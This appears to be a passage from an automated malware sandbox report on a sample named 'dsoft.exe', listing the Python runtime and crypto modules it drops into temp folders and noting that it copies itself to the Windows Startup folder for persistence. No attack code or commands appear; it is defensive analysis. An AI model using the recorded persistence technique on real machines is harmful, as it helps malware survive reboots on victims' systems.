            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\_asyncio.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\python310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2s.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_Salsa20.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_keccak.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\VCRUNTIME140_1.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pythoncom310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\_win32sysloader.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ctr.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA512.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD5.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA224.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_arc2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\win32ui.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des3.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Protocol\_scrypt.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ctr.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cast.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_poly1305.pydJump to dropped file

            Boot Survival

            barindex
            Drops PE files to the startup folder
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeJump to behavior
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\tasklist.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32trace.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA384.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_Salsa20.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_clmul.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\pyexpat.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2s.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aes.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_uuid.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ofb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\win32com\shell\shell.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_RIPEMD160.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA512.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_strxor.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_chacha20.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\unicodedata.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA1.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA1.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD4.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_portable.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pywintypes310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\mfc140u.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ecb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Math\_modexp.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_x25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_socket.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_ssl.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cbc.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_arc2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ofb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_overlapped.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA256.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\pywin32_system32\pythoncom310.dllJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_hashlib.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_socket.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\win32com\shell\shell.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Protocol\_scrypt.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_ssl.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_lzma.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2b.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\python310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ocb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\select.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aes.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_x25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Pythonwin\win32ui.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_ARC4.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_sqlite3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_ghash_clmul.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ec_ws.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aesni.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cfb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA384.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Math\_modexp.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_cffi_backend.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cfb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_strxor.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Util\_cpuid_c.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_sqlite3.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_cffi_backend.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cast.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed448.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_uuid.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ec_ws.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ocb.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32api.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed25519.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD4.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\select.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_decimal.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_bz2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pywintypes310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ecb.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA224.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\pyexpat.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_ctypes.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2b.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_bz2.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\mfc140u.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\PublicKey\_ed448.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_RIPEMD160.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD5.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_cpuid_c.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_queue.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_queue.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_overlapped.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\charset_normalizer\md__mypyc.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32trace.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\unicodedata.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_asyncio.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_cbc.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_keccak.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_portable.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_lzma.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_hashlib.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_chacha20.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_poly1305.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_des.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\win32api.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\win32\_win32sysloader.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md__mypyc.cp310-win_amd64.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_multiprocessing.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_ARC4.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aesni.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\_ctypes.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA256.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\python310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\_asyncio.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_BLAKE2s.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_Salsa20.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_keccak.pydJump to dropped file
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pythoncom310.dllJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\win32\_win32sysloader.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_ctr.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_SHA512.pydJump to dropped file
            Source: C:\Users\user\Desktop\dsoft.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Hash\_MD5.pydJump to dropped file
